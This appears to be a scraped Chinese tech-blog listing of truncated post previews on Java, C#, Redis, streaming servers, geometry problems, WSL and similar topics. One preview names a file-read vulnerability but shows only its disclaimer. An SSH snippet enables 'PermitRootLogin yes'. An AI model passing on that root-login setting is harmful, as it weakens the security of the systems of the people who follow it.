前言 MyBatis-Plus (MP) 是一款基于 MyBatis 的增强工具&#xff0c;它简化了数据库操作&#xff0c;提供了诸如自动分页、条件构造器等功能&#xff0c;极大地提高了开发效率。其中&#xff0c;Wrapper 条件构造器是 MP 的核心功能之一&#xff0c;它允许开发者以链式调用的方…...

C# OpenCvSharp DNN 实现百度网盘AI大赛-表格检测第2名方案第一部分-表格边界框检测

目录 说明 效果 模型 项目 代码 frmMain.cs YoloDet.cs 参考 下载 其他 说明 百度网盘AI大赛-表格检测的第2名方案。 该算法包含表格边界框检测、表格分割和表格方向识别三个部分&#xff0c;首先&#xff0c;ppyoloe-plus-x 对边界框进行预测&#xff0c;并对置信…...

手分割数据集labelme格式505张1类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;505 标注数量(json文件个数)&#xff1a;505 标注类别数&#xff1a;1 标注类别名称:["hands"] 每个类别标注的框数&#xf…...

2012年西部数学奥林匹克试题(几何)

2012/G1 △ A B C \triangle ABC △ABC 内有一点 P P P, P P P 在 A B AB AB, A C AC AC 上的投影分别为 E E E, F F F, 射线 B P BP BP, C P CP CP 分别交 △ A B C \triangle ABC △ABC 的外接圆于点 M M M, N N N. r r r 为 △ A B C \triangle ABC △ABC 的内…...

GB28181系列三:GB28181流媒体服务器ZLMediaKit

我的音视频/流媒体开源项目(github) GB28181系列目录 目录 一、ZLMediaKit介绍 二、 ZLMediaKit安装、运行(Ubuntu) 1、安装 2、运行 3、配置 三、ZLMediaKit使用 一、ZLMediaKit介绍 ZLMediaKit是一个基于C11的高性能运营级流媒体服务框架&#xff0c;项目地址&#xf…...

【微服务】SpringBoot 整合Redis Stack 构建本地向量数据库相似性查询

目录 一、前言 二、向量数据库介绍 2.1 什么是向量数据库 2.2 向量数据库特点 2.3 向量数据库使用场景 三、常用的向量数据库解决方案 3.1 Milvus 3.1.1 Milvus是什么 3.1.2 Milvus主要特点 3.2 Faiss 3.2.1 Faiss是什么 3.2.2 Faiss主要特点 3.3 Pinecone 3.3.1 …...

神州数码DCME-320 online_list.php存在任意文件读取漏洞

免责声明: 本文旨在提供有关特定漏洞的深入信息,帮助用户充分了解潜在的安全风险。发布此信息的目的在于提升网络安全意识和推动技术进步,未经授权访问系统、网络或应用程序,可能会导致法律责任或严重后果。因此,作者不对读者基于本文内容所采取的任何行为承担责任。读者在…...

Shadcn UI 实战:打造可维护的企业级组件库

"我们真的需要自己写一套组件库吗&#xff1f;"上周的技术评审会上,我正在和团队讨论组件库的选型。作为一个快速发展的创业公司,我们既需要高质量的组件,又想保持灵活的定制能力。在对比了多个方案后,我们选择了 shadcn/ui 这个相对较新的解决方案。 说实话,最开始…...

C#速成(GID+图形编程)

常用类 类说明Brush填充图形形状,画刷GraphicsGDI绘图画面&#xff0c;无法继承Pen定义绘制的对象直线等&#xff08;颜色&#xff0c;粗细&#xff09;Font定义文本格式&#xff08;字体&#xff0c;字号&#xff09; 常用结构 结构说明Color颜色Point在平面中定义点Rectan…...

CMD使用SSH登陆Ubuntu

1.确认sshserver是否安装好 ps -e | grep sshd 450 ? 00:00:00 sshd 2、如果看到sshd那说明ssh-server已经启动了 其实在/etc/ssh下有一个sshd_config 文件。对这个文件进行修改vim sshd_config。 往文件中添加如下内容&#xff1a; Port 22 Protocol 2 PermitRootLogin yes P…...

Fay环境安装及使用

一、项目源码 代码地址 &#xff1a; Fay 2D数字人源码地址&#xff1a;xuniren LLM用是清华开源的ChatGLM源码地址&#xff1a;ChatGLM-6B 模型地址chatglm2-6b-int4 &#xff08;大模型的安装直接参考了我的另一篇文章&#xff1a;ChatGLM2-6B-int4的…...

重写 `equals` 和 `hashCode` 的一致性

重写 equals 和 hashCode 的一致性 在 Java 中&#xff0c;当我们重写 equals 方法时&#xff0c;通常需要同时重写 hashCode 方法&#xff0c;以确保对象在逻辑上相等时&#xff0c;其哈希值也相等。这是一种重要的契约&#xff08;contract&#xff09;&#xff0c;主要用于…...

【游戏设计原理】14 - MDA:游戏的机制、运行和体验

1. 学习、分析并总结 MDA 原理 MDA (Mechanics, Dynamics, and Aesthetics) 是一种用来分析和理解游戏设计的框架&#xff0c;由 Marc LeBlanc, Robin Hunicke, 和 Robert Zubek 提出。这个框架将游戏分解为三个核心要素&#xff1a; Mechanics&#xff08;机制&#xff09;&…...

鸿蒙Next创建自定义组件总结

一、引言 在鸿蒙Next开发中&#xff0c;自定义组件是构建高效、可维护UI的重要组成部分。它具有可组合、可重用以及数据驱动UI更新等特点&#xff0c;能帮助开发者更好地实现代码复用、业务逻辑与UI分离等目标。本文将详细总结创建自定义组件的相关知识&#xff0c;包括其基本…...

redis 缓存使用

工具类 package org.springblade.questionnaire.redis;import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.core.type.TypeReference; import com.fasterxml.jackson.databind.ObjectMapper; import org.springframework.beans.factor…...

Javascript面试手撕常见题目(回顾一)

1.JS查找文章中出现频率最高的单词? 要在JavaScript中查找文章中出现频率最高的单词&#xff0c;你可以按照以下步骤进行操作&#xff1a; 将文章转换为小写&#xff1a;这可以确保单词的比较是大小写不敏感的。移除标点符号&#xff1a;标点符号会干扰单词的计数。将文章拆…...

lc146LRU缓存——模仿LinkedHashMap

146. LRU 缓存 - 力扣&#xff08;LeetCode&#xff09; 法1&#xff1a; 调用java现有的LinkedHashMap的方法&#xff0c;但不太理解反正都不需要扩容&#xff0c;super(capacity, 1F, true);不行吗&#xff0c;干嘛还弄个装载因子0.75还中途扩容一次浪费时间。 class LRUC…...

【C语言】头文件

所有学习过C语言的朋友都熟悉这样一段代码&#xff1a; #include <stdio.h>int main(int argc, char *argv[]) {return 0; }那么&#xff0c;你真的了解 <stdio.h> 吗&#xff1f; <stdio…...

WSL (Windows Subsystem for Linux)

文章目录 Windows下使用Linux的三种方式&#xff1a;1.WSL(1)安装WSL(2)初始化Linux系统(3)安装、创建、激活 Python虚拟环境 2.虚拟机3.Docker Windows下使用Linux的三种方式&#xff1a; 1.WSL 是最简单的在 Windows 上运行 Linux 环境的方式&#xff0c;适用于日常开发和命…...